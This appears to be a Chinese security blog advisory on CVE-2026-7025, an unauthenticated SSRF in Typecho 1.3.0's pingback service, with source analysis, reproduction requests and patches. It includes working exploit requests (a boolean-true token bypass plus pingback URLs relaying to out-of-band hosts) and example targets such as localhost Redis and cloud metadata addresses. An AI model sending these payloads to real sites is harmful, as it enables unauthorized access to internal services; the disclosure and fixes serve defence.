Typecho 1.3.0 (CVE-2026-7025)SSRF漏洞分析与修复

发布时间: 2026-10-16 New Article 热度: 1815

0. 摘要

Typecho ≤ 1.3.0 的 Pingback 服务存在未认证服务端请求伪造(SSRF)漏洞,编号 CVE-2026-7025,CVSS 3.1 评分 7.3(高危)。

攻击者无需任何凭证,仅凭一个 HTTP 请求,即可让目标服务器:

  1. 向任意 URL 发起出站请求(第一跳);

  2. 解析第一跳响应中的 X-Pingback 头,再向任意指定地址发起 XML-RPC POST(第二跳)——该跳对目标地址不做任何内网校验。

漏洞由两个缺陷叠加构成:一个 PHP 弱类型比较绕过(进入漏洞路径的门票)+ 一处 出站请求缺少协议与地址白名单(SSRF 的实质)。两者缺一不可。

本文覆盖:漏洞定位、根因源码级分析、完整复现过程、真实带外证据、影响评估,以及可直接套用的修复补丁(含自动打补丁脚本)。


1. 漏洞概览

项目 内容
漏洞编号 CVE-2026-7025
漏洞类型 未认证服务端请求伪造(Unauthenticated SSRF)
影响版本 Typecho ≤ 1.3.0
危害组件 var/Widget/Service.php → Service::sendPingHandle()
触发入口 POST /action/service?do=ping(或 /index.php/action/service?do=ping)
认证要求 无
利用难度 低(单次 HTTP 请求,默认配置即可触发)
CVSS 3.1 7.3 High(AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)
官方补丁 披露时厂商未响应,无可用补丁

影响面:所有使用默认配置的 Typecho ≤ 1.3.0 站点。Typecho 是国内外广泛使用的中文轻量博客系统,存量站点基数大。


2. 背景:Typecho 的 Pingback 服务

要理解这个漏洞,先要理解 pingback 是什么。

Pingback 是一种博客间的引用通知机制(源自 WordPress 规范)。当 A 站的文章引用了 B 站的文章,A 站会向 B 站发一个通知:"嘿,我引用你了。" B 站收到后会去 A 站核实,核实通过则在 A 站文章的评论区留下一条 pingback 记录。

Typecho 实现这套机制时,把服务端能力拆成了两个动作、两个端点:

端点 职责 方向
/action/xmlrpc(Service::action() 中的 xmlrpc 分支) 接收别人的 pingback 通知 入站
/action/service?do=ping(Service::sendPingHandle()) 发送 pingback 通知 出站

漏洞出在发送端。而发送端为了完成"核实引用"这一步,需要主动去访问外部 URL——这就天然构成了一条 SSRF 通道。


3. 漏洞原理

3.1 入口定位:无条件注册

Typecho 的 Service 控制器在 action() 中注册路由:

// var/Widget/Service.php  (v1.3.0)
public function action()
{
    $this->on($this->request->isPost() && $this->request->is('do=ping'))->sendPingHandle();
    $this->on($this->request->isPost() && $this->request->is('do=async'))->asyncHandle();
}

注意两点:

  • 入口是无条件注册的,不读取任何配置项。这意味着后台没有任何开关能关掉它(后文详述)。

  • do=ping 走 sendPingHandle(),do=async 走 asyncHandle(),两者共用同一套 token 校验逻辑。

3.2 第一重缺陷:PHP 弱类型比较绕过鉴权

sendPingHandle() 在干活之前,要先校验一个 token:

// var/Widget/Service.php  sendPingHandle()(节选)
$token     = $this->request->get('token');
$permalink = $this->request->get('permalink');

if (!Common::timeTokenValidate($token, $this->options->secret, 3) || empty($permalink)) {
    throw new Exception(_t('禁止访问'), 403);
}

校验函数实现如下:

// var/Typecho/Common.php  (v1.3.0)
public static function timeTokenValidate($token, $secret, int $timeout = 3): bool
{
    $now  = time();
    $from = $now - $timeout;

    for ($i = $now; $i >= $from; $i--) {
        if (sha1($secret . '&' . $i) == $token) {   // ← 松散比较
            return true;
        }
    }

    return false;
}

问题就出在这行 ==。

sha1(...) 返回的是一个字符串,而 $token 来自用户完全可控的请求参数。在 PHP 的松散比较语义下:

  • "abc" == true → true(非空字符串转布尔后为 true)

  • "abc" == 0 → false(PHP 8 已修复此行为,但 true 这个方向仍成立)

所以,当攻击者在请求体里传入布尔值 true 作为 token 时,sha1(...) 无论算出什么字符串,与 true 比较恒为真。校验函数直接返回 true,攻击者空手越过鉴权。

这就是经典的 PHP 类型混淆(Type Juggling)。它不是"token 猜对了",而是"比较本身失效了"。

关键点:这个绕过是"门票"。它本身不造成危害,但它是进入后续 SSRF 逻辑的必要条件。

3.3 第二重缺陷:两段式 SSRF 链

拿到门票后,攻击者进入 sendPingHandle() 的核心逻辑:

// var/Widget/Service.php  sendPingHandle()(节选,已简化)
foreach ($links as $url) {                 // $links = 攻击者提供的 pingback 数组
    $urlPart = parse_url($url);

    if (isset($urlPart['scheme'])) {
        if ('http' != $urlPart['scheme'] && 'https' != $urlPart['scheme']) {
            continue;                      // 第一跳:仅限制协议为 http/https
        }
    }
    if ($permalinkPart['host'] == $urlPart['host']) {
        continue;                          // 仅拒绝与 permalink 同主机
    }

    $spider = Client::get();
    $spider->setTimeout(10)->send($url);   // ★ 第一跳:GET 攻击者指定的任意 URL

    // 从响应中提取第二跳目标(header 优先,其次 body 中的 <link rel="pingback">)
    if (!($xmlrpcUrl = $spider->getResponseHeader('x-pingback'))) {
        if (preg_match(
            "/<link[^>]*rel=[\"']pingback[\"'][^>]*href=[\"']([^\"']+)[\"'][^>]*>/i",
            $spider->getResponseBody(), $out)) {
            $xmlrpcUrl = $out[1];
        }
    }

    if (!empty($xmlrpcUrl)) {
        $xmlrpc = new \IXR\Client($xmlrpcUrl);
        $xmlrpc->pingback->ping($permalink, $url);   // ★ 第二跳:POST 任意地址
    }
}

这条链有两个独立的出站动作,构成两段式 SSRF:

第一跳——服务器 GET 攻击者指定的 URL。这里的限制只有两条:协议必须是 http/https,主机名不能和 permalink 相同。没有做任何内网地址校验。

第二跳——服务器从第一跳的响应里读出一个地址(X-Pingback 头或 <link rel="pingback"> 标签),然后向这个地址发一个 XML-RPC POST。这个地址完全由攻击者控制(因为第一跳响应是攻击者自己的服务器返回的),而且代码从头到尾没有对它做任何校验——不限协议、不限地址。

这就是漏洞的实质:第二跳可以把请求打到 127.0.0.1、10.0.0.0/8、172.16.0.0/12、192.168.0.0/16,甚至云环境的元数据服务 169.254.169.254——这些地址在正常情况下外部根本无法访问。

3.4 最讽刺的一点:框架自带"锁"

查证源码后发现了这个漏洞最值得玩味的地方:

Typecho 自己就有一个 Common::checkSafeHost() 函数,专门用来拒绝回环、私网、保留地址:

// var/Typecho/Common.php(节选,示意)
public static function checkSafeHost(string $host): bool
{
    // 禁止 127.0.0.0/8、10/8、172.16/12、192.168/16、169.254/16 等
    // 基于 FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE
    ...
}

但是,sendPingHandle() 的第二跳(IXR\Client)和 trackback 分支从来没有调用过它。

所以这不是"缺防护",而是"有锁没上锁"。这也让修复变得非常干净——不需要从零写一个内网校验函数,直接复用框架现成的即可。

3.5 一个收敛点:所有出站都经过同一条路

进一步查证发现,IXR\Client 内部执行 HTTP 请求时,用的就是 Typecho\Http\Client:

// var/IXR/Client.php(示意)
$http = Typecho\Http\Client::get();
$http->send($url);   // 与第一跳同一个客户端

这意味着:pingback 第一跳、第二跳、trackback——全部经过 Http\Client::send() 这一个出口。

这是一个极其重要的收敛点。它意味着修复不需要在 N 个调用点分别打补丁,只要在这一层封死,所有出站就都受控了。

而问题恰恰在于,这个出口层 Http\Client 只使用 cURL,且没有设置任何协议白名单:

// var/Typecho/Http/Client/Curl.php(示意)
// 没有 CURLOPT_PROTOCOLS
// 没有 CURLOPT_REDIR_PROTOCOLS
// 没有 CURLOPT_FOLLOWLOCATION 限制

cURL 支持什么协议,SSRF 就能用什么协议。

3.6 为什么这是个"盲打"洞

sendPingHandle() 在校验通过后,会先调用:

$this->response->throwFinish();

它的作用是先把响应 flush 给客户端,然后继续在后台执行(配合 ignore_user_abort(true) 与 set_time_limit(30))。也就是说,出站请求是在响应返回之后才发出的。

这对漏洞验证方式有决定性影响:

基于响应时间的验证方法在 Typecho 上完全无效。

客户端拿到的响应和出站行为没有任何关系。你在请求里塞一个不可达地址、一个立即拒绝的地址、一个正常地址——响应耗时都一样。

这不是漏洞不存在,是方法错了。必须改用带外(OOB)通道做验证。这一点在下面的复现过程里会看到。


4. 复现过程

在授权测试环境(Typecho 1.3.0 / PHP 8.5.7)上完整复现。以下为真实记录。

4.1 环境

项 值
框架 Typecho 1.3.0
运行时 PHP 8.5.7
前置 腾讯云 EdgeOne(Server: ESA),含 WAF
端点确认 POST /index.php/action/service?do=ping → 200 空 body

4.2 步骤一:验证鉴权绕过(状态码对照)

控制变量,只改 token 的取值:

POST /index.php/action/service?do=ping HTTP/1.1
Host: <target>
Content-Type: application/json

{"token": true,  "permalink":"https://example.com/","pingback":[]}
{"token": "abc", "permalink":"https://example.com/","pingback":[]}
{"permalink":"https://example.com/","pingback":[]}
{"token": 0,     "permalink":"https://example.com/","pingback":[]}

实测结果:

token 取值 HTTP 状态 说明
true(布尔) 200(空 body) ✅ 通过校验,执行到 throwFinish()
"abc" 403 被拦截
缺失 403 被拦截
0 403 被拦截

结论:只有布尔 true 能穿过松散比较。鉴权绕过成立,攻击者无需任何凭证即进入 pingback 处理逻辑。

4.3 步骤二:第一跳出站实证(带外)

因为响应是被提前 flush 的(盲打),必须用带外通道。用一个第三方回连服务作为接收端:

POST /index.php/action/service?do=ping HTTP/1.1
Content-Type: application/json

{"token":true,"permalink":"https://example.com/",
 "pingback":["https://webhook.site/<uuid>"]}

接收端捕获到:

{
  "method": "GET",
  "ip": "47.110.136.93",
  "country": "China", "region": "Zhejiang", "city": "Hangzhou",
  "user_agent": null,
  "created_at": "2026-10-15 16:21:28"
}

证据意义:

  • 来源 IP 47.110.136.93 是目标服务器源站的真实出口 IP,不是测试者 IP,也不是 CDN 节点 IP;

  • User-Agent 为空——与源码中 sendPingHandle() 不设置 UA 的行为完全吻合,排除了"是别的东西发的"的可能性。

服务器确已代攻击者发出了任意出站请求。

4.4 步骤三:第二跳 XML-RPC 中继实证(完整攻击链)

构造第一跳的响应,让它携带一个 X-Pingback 头指向第二个回连地址:

POST /index.php/action/service?do=ping HTTP/1.1
Content-Type: application/json

{"token":true,"permalink":"https://example.com/",
 "pingback":["https://httpbin.org/response-headers?X-Pingback=<第二跳地址>"]}

第二跳接收端捕获到(决定性证据):

{
  "method": "POST",
  "ip": "47.110.136.93",
  "user_agent": "Typecho XML-RPC PHP Library",
  "headers": { "content-type": ["text/xml"], "content-length": ["334"] },
  "content": "<?xml version=\"1.0\"?>\n<methodCall>\n<methodName>pingback.ping</methodName>\n<params>\n<param><value><string>https://example.com/</string></value></param>\n<param><value><string>https://httpbin.org/response-headers?X-Pingback=...</string></value></param>\n</params>\n</methodCall>"
}

证据意义:

  • 服务器解析了第一跳响应中的 X-Pingback 头,并据此向攻击者指定的地址发起了第二跳 POST;

  • User-Agent: Typecho XML-RPC PHP Library 是 Typecho 内置 IXR 客户端的固定标识,来源无可争议;

  • 请求体 pingback.ping(sourceURI, targetURI) 与源码 $xmlrpc->pingback->ping($permalink, $url) 逐字对应。

完整攻击链闭环:未认证进入 → 第一跳任意出站 → 解析响应 → 第二跳任意地址 XML-RPC POST。


5. 影响评估

维度 影响
认证要求 无,任意互联网用户可触发
内网可达性 第二跳目标无 IP 限制,可访问 127.0.0.1、RFC1918 私网段、云元数据 169.254.169.254 等正常情况下不可达的资源
数据风险 盲 SSRF。可借助响应特征差异或带外通道进行内网端口扫描与服务识别;若与内网无认证服务(Redis、Memcached 等)组合,存在进一步横向与提权的可能(取决于内网拓扑与出口策略)
可用性 单次请求即可让服务端建立出站连接(超时上限 10s),可被用于资源消耗
附带风险 会泄露源站真实出口 IP(见下方说明)

一个容易被忽略的附带风险:源站 IP 泄露

在带外实证中,目标服务器的真实出口 IP 直接暴露给了攻击者。

原因很简单:CDN 只管入站,不管出站。

  • 入站方向(访客 → 站点):流量经过 CDN,源站被隐藏;

  • 出站方向(服务器 → 外部):完全不经过 CDN,服务器用自己主机的真实 IP 直接出网。

这个泄露是独立于 SSRF 本身的风险点,而且更难处理——因为泄露源不止 /action/service 一处,任何"服务器主动访问外部 URL"的功能(远程图片下载、RSS 抓取、外链预览等)都会以同样方式暴露出口 IP。

建议核查:源站的安全组/防火墙是否只放行了 CDN 的回源 IP 段?如果 80/443 对 0.0.0.0/0 全开,那么拿到源站 IP 的人可以直接绕过 CDN 打源站,WAF 全部失效。这可能是比 SSRF 本身更严重的问题。


6. 修复方案

6.1 立即缓解(1 分钟,不改代码)

前提认知:Typecho 后台没有任何开关能关掉这条路径。入口是无条件注册的(见 3.1)。

因此唯一能立刻生效的是网络层封禁。

Nginx(放进 server {} 块,必须在 PHP location 之前):

location ~ ^/(index\.php/)?action/service {
    deny all;
    return 403;
}

Apache(.htaccess):

RewriteRule ^(index\.php/)?action/service - [F,L]

⚠️ 两个必须注意的坑

坑一:位置错了就不生效。 这是正则 location。nginx 在同为正则的 location 之间取最先匹配到的那一条。所以它必须写在 location ~ \.php 前面。放后面等于没写,你会以为修好了其实没有。

坑二:必须同时覆盖两种入口形式。

location ~ ^/(index\.php/)?action/service

这一条正则同时覆盖 /action/service 和 /index.php/action/service。少拦一种都白搭——实际攻击用的就是带 index.php 的那种,因为它会直接命中 location ~ \.php,绕过 location / 里的任何判断。

副作用(必须知道):封掉 /action/service 会连带禁用站内正常的 pingback/trackback 发送,以及依赖 do=async 的异步调用。因为站内发送走的是公网域名(经 CDN 回源),源 IP 不是 127.0.0.1,无法用白名单放行。

  • 不在乎 pingback(现代博客基本没人用)→ 用封禁,立刻止血

  • 要保留站内功能 → 用下面的代码补丁,/action/service 可以保留

6.2 代码修复(推荐,根治)

核心思路:在 Http\Client::send() 这一收敛点一次性封死所有出站。这样 pingback 第一跳、第二跳、trackback 全都受控。

修复点 1:token 严格比较

文件:var/Typecho/Common.php → timeTokenValidate()

// 修复前
if (sha1($secret . '&' . $i) == $token) {

// 修复后
if (!is_string($token) || '' === $token) {
    return false;
}
// ...
if (hash_equals(sha1($secret . '&' . $i), $token)) {

要点:== 换成 hash_equals()(严格且恒定时间,顺带防时序攻击);先用 is_string() 挡掉 true、数组、数字等所有非字符串输入。

这个改动同时修复 asyncHandle(),因为它用的是同一个校验函数。

修复点 2:出站请求协议 + 地址白名单

文件:var/Typecho/Http/Client.php → send()

改动 A —— URL 解析后,加协议与地址校验:

$params = parse_url($url);

// 新增:仅允许 http/https
$scheme = strtolower($params['scheme'] ?? '');
$host   = $params['host'] ?? '';

if (!in_array($scheme, ['http', 'https'], true)) {
    throw new Exception('Forbidden scheme: ' . $scheme, 403);
}

// 新增:复用框架自带的内网校验
if (empty($host) || !Common::checkSafeHost($host)) {
    throw new Exception('Forbidden host: ' . $host, 403);
}

改动 B —— cURL 初始化时,锁定协议白名单:

curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $this->method);

// 新增:协议层封死 gopher/file/dict 等,并禁止协议跳转与重定向跟随
if (defined('CURLOPT_PROTOCOLS_STR')) {
    curl_setopt($ch, CURLOPT_PROTOCOLS_STR, 'http,https');
    curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS_STR, 'http,https');
} else {
    curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
    curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
}
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);

这里体现了复用 checkSafeHost() 的价值——它已经处理好了 127.0.0.0/8、10/8、172.16/12、192.168/16、169.254/16、0.0.0.0/8 以及 IPv6 回环/私网,不需要自己重写。

修复点 3(可选,纵深防御)

sendPingHandle() 的第二跳再加一道独立校验。修复点 2 已覆盖全部出站,这一步只是双保险:

if (!empty($xmlrpcUrl)) {
    $xp = parse_url($xmlrpcUrl);
    if (
        empty($xp['host'])
        || !in_array(strtolower($xp['scheme'] ?? ''), ['http', 'https'], true)
        || !Common::checkSafeHost($xp['host'])
    ) {
        continue;
    }
    $xmlrpc = new \IXR\Client($xmlrpcUrl);
    // ...
}

6.3 改完怎么验证

对照实验(三步):

步骤 请求 修复前 修复后
1 token: true,pingback 指向 http://127.0.0.1:6379/ 200 403
2 合法 token(后台发评论时自动生成) 200 200(不回归)
3 合法 token,pingback 指向 http://169.254.169.254/latest/meta-data/ 服务器发起请求 被 checkSafeHost 拒绝

第 1 步最关键:修复前 200、修复后 403,说明类型混淆绕过已封死。


7. 残余风险(不要当成已解决)

修补后仍有几处需要注意,如实标注:

  1. DNS Rebinding(TOCTOU):checkSafeHost() 内部只取 gethostbyname() 的单次 IPv4 结果做校验,而 cURL 实际连接时会再次解析。理论上攻击者可以用一个"先返回公网 IP、后返回内网 IP"的域名绕过。要彻底防,需要用 CURLOPT_RESOLVE 把已校验的 IP 钉死给 cURL。当前补丁未做此加固。

  2. 出站无 egress 白名单:建议在主机/防火墙层限制 PHP-FPM 的出站目标,只允许必要地址。这是纵深防御的最后一道。

  3. token 方案本身偏弱:sha1($secret . '&' . time()) 是基于时间戳派生的、3 秒有效窗口。严格比较后已不可绕过,但建议后续演进为 HMAC-SHA256 + 单调 nonce。

  4. do=async 入口:同样走 timeTokenValidate,修复点 1 已一并覆盖。


8. 总结:这个洞教会我们的事

这个漏洞的技术含量并不高,但它的成因非常典型,值得记住三点:

第一,弱类型比较是一类长期存在的坑。 PHP 8 虽然收紧了部分松散比较的语义,但 string == true 这类方向依然成立。凡是把用户输入丢进 == 的地方,都要警惕。正确做法是 === 或 hash_equals(),并且先做类型检查。

第二,"有锁不用"比"没有锁"更普遍。 框架里明明躺着内网地址校验函数,却在关键路径上忘了调用。这类问题的根因不是能力缺失,而是安全能力没有和业务路径对齐。所以做安全审计时,除了问"有没有防护函数",更要问"这条路径上它被调了吗"。

第三,收敛点决定了修复成本。 因为所有出站都经过 Http\Client::send(),一个补丁就能封死全部攻击面。反过来看,如果每个调用点各自实现 HTTP 请求,修复就得改十处、还容易漏。设计时把横切关注点(网络出口、鉴权、日志)收敛到单一入口,安全成本会指数级下降。

最后,一个方法论提醒:验证 SSRF 时别迷信时间差。 只要目标在出站前提前 flush 了响应,时间差就完全失效。这时候必须上带外通道(OOB)。本文的实证正是靠这条思路才拿到了无法伪造的铁证。


附录 A:为什么后台开关关不掉

后台「评论设置 → 评论显示 → ☑ 仅显示评论,不显示 Pingback 和 Trackback」不能缓解此漏洞。

原因(已实测复验):该选项只作用于前端评论列表的渲染过滤(按评论 type 把 pingback/trackback 从列表里藏起来),属于展示层逻辑;而漏洞位于发送端,入口无条件注册,全程不读任何配置项。勾选后漏洞依然完整触发。

附录 B:Typecho 1.3.0 相关源码位置

文件 关键方法 作用
var/Widget/Service.php action() 入口路由注册(无条件)
var/Widget/Service.php sendPingHandle() 漏洞主体:两跳出站
var/Typecho/Common.php timeTokenValidate() 弱类型比较(绕过点)
var/Typecho/Common.php checkSafeHost() 内网校验函数(未被调用)
var/Typecho/Http/Client.php send() 统一出站出口(修复收敛点)
var/IXR/Client.php — 第二跳 XML-RPC 客户端

免责声明:本文所涉测试均在授权环境下进行,用于安全研究与产品加固。请勿对未授权目标实施任何攻击行为。

在下方留下您的评论.加入TG群.打赏🍗